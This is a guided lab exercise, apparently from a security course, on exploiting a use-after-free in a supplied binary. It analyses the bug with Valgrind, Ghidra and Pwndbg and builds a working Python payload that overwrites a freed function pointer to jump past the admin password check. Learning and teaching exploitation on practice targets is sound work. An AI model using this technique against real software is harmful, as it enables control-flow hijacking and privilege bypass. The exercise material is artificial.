Guided Example
A temporal memory safety violation, also called use after free, is a type of bug corresponding to the following scenario:
int *ptr = malloc(/* ... */); // Allocate a buffer
// do something with the object here ...
free(ptr); // free the buffer: ptr is now a *dangling pointer*
// ...
printf("%d\n", *ptr); // access the freed memory
This can be exploited by an attacker that has some degree of control over the value of the dangling pointer or the content of the memory it points to.
In the example above if the attacker can update the value of ptr (e.g. by overflowing another variable on the stack), then they get an arbitrary read memory primitive through the printf which displays the memory pointed by the dangling pointer.
This is already a powerful primitive.
Other severe consequences include hijacking the application's control flow, as we will achieve in this exercise.
Our Target Program
Download this binary.
As usual, you will likely need to give it execution rights with chmod +x temporal01 before executing it.
The program maintains a simple database of usernames and integer IDs. When the program starts it initialises an ID and a name for the administrator, and prompt the user for additional names to add to the database:
$ ./temporal01
System initialised with admin account:
id: 000, name: Administrator
Enter name of next user to add, "login" to log in as admin, or "quit" to leave: bob
Added bob (id 001)
Enter name of next user to add, "login" to log in as admin, or "quit" to leave: alice
Added alice (id 002)
Typing quit exits the program, and typing login prompts the user for the administrative password before executing some privileged code:
Enter name of next user to add, "login" to log in as admin, or "quit" to leave: login
Enter admin password: test
Authentication failed!
Similar to the stack smashing exercises, bypassing the password check and running that privileged code is going to be our objective. Analysing the program with checksec gives us the following information:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 3 Symbols No 0 4 temporal01
We can see that the stack canary is enabled: this protection will make stack smashing attacks difficult, we need to find another way.
The Use After Free
Notice that when we exit the program with the quit command, the programs seems to misbehave and prints something that is partially garbage:
Enter name of next user to add, "login" to log in as admin, or "quit" to leave: quit
id: 000, name: q�
bye.
At that stage we suspect some form of memory safety related issue, possibly a use after free. To confirm that we can use Valgrind:
valgrind ./temporal01
# Quit with the quit command
==125776== Invalid read of size 8
==125776== at 0x401CDD: main (in /home/pierre/Downloads/temporal01)
==125776== Address 0x4a4e078 is 56 bytes inside a block of size 64 free'd
==125776== at 0x484417B: free (vg_replace_malloc.c:872)
==125776== by 0x401C51: main (in /home/pierre/Downloads/temporal01)
==125776== Block was alloc'd at
==125776== at 0x48417B4: malloc (vg_replace_malloc.c:381)
==125776== by 0x401BC8: main (in /home/pierre/Downloads/temporal01)
# ...
Valgrind indicates that memory that was previously freed by the program is accessed! This is indeed a use after free.
To better understand how it happens we can decompile the binary. Unfortunately here RetDec is not very helpful as it is unable to decompile the code corresponding to the use-after-free (decompiling/disassembling is not an exact science...). Ghidra is more useful for this particular case. In case you do not have it at hand, this is a simplified version of the decompilation of the main function of our program:
undefined8 main(void)
{
// ...
undefined8 *__ptr;
// ...
undefined8 local_a0;
// ...
__ptr = (undefined8 *)malloc(0x40);
// ...
free(__ptr);
local_ac = 1;
do {
local_a0 = (char *)malloc(0x40);
// ...
gets(local_a0);
// ...
(*(code *)__ptr[7])(__ptr);
// ...
}
// ...
We can see here that a pointer __ptr is declared and made to point to a buffer allocated with malloc.
Later it is freed, and after that free it is ptr is used: (*(code *)__ptr[7])(__ptr);.
This code corresponds to the invocation of a function pointer.
If we can somehow update the value of that function pointer before it is invoked, we can take over the execution flow to bypass the password check.
How can we modify the value of the pointer?
Notice that after it is freed, the program allocates another buffer of the same size (0x40), pointed to by local_a0.
Most implementation of malloc aim to limit memory usage and fragmentation: to that aim they will reuse memory freed for subsequent allocations.
So it's likely that what is pointed by local_a0 will be very close to the memory pointed by the dangling pointer.
Also notice that we can overflow the buffer pointed by local_a0: it is written to through the infamous gets libc function.
Gets reads characters from the standard input and writes them in the buffer passed as parameters.
There is no control over how many characters are read and no checks for overflow, hence in practice this function should never be used.
Here it is going to be convenient for our attack.
The Overflow
To confirm that the buffer pointed by local_a0 can be overflown, run the program, input a very long string when prompted, then exit:
$ ./temporal01 130 ↵
System initialised with admin account:
id: 000, name: Administrator
Enter name of next user to add, "login" to log in as admin, or "quit" to leave: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Added xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (id 001)
Enter name of next user to add, "login" to log in as admin, or "quit" to leave: quit
[1] 136923 segmentation fault ./temporal01
The segmentation fault error is encouraging. If we try that again in Pwndbg, we can get more information about what happened:
► 0x401ceb <main+340> call rdx <0x7878787878787878>
The CPU tried to jump to address 0x7878787878787878.
Of course it is not mapped/not accessible hence the fault.
0x78 is the ASCII code for the letter x: we have successfully rewritten the function pointer.
The Payload
Our payload will look a bit like the ones we used for stack smashing: a certain amount of padding, followed by the address of the function we want to redirect the control flow to.
To find the address of that function you can decompile with RetDec: you will see that a function named secret_admin_code is called when the authentication succeeds: this is our target.
Let's find its address:
$ nm temporal01 | grep secret_admin_code
0000000000401ad2 T secret_admin_code
Then to find the amount of padding required, the best way is to use the cyclic feature of Pwndbg:
pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
pwndbg> run
System initialised with admin account:
id: 000, name: Administrator
Enter name of next user to add, "login" to log in as admin, or "quit" to leave: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Added aaaaaaaabaaaaaaacaaaaaaadaaaaaaa (id 001)
Enter name of next user to add, "login" to log in as admin, or "quit" to leave: quit
► 0x401ceb <main+340> call rdx <0x6161616161616168>
Let's find the offset when 0x6161616161616168 is located in the cyclic pattern:
pwndbg> cyclic -l 0x6161616161616168
Finding cyclic pattern of 8 bytes: b'haaaaaaa' (hex: 0x6861616161616161)
Found at offset 56
Our payload should then be: 56 bytes of padding, followed by 0x401ad2, the address where we want to jump to when the function pointer is invoked.
Launching the Attack
We can then prepare our payload with Python:
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*56 + (0x401ad2).to_bytes(8, 'little') + b'\n' + b'quit')" > input.txt
And launch the attack:
$ ./temporal01 < input.txt
When the privileged code runs it will display the password you need for submitting this part of the exercise.
Submission
Fill in the corresponding line in the CSV file on the submission git repository, i.e.:
temporal01,password-here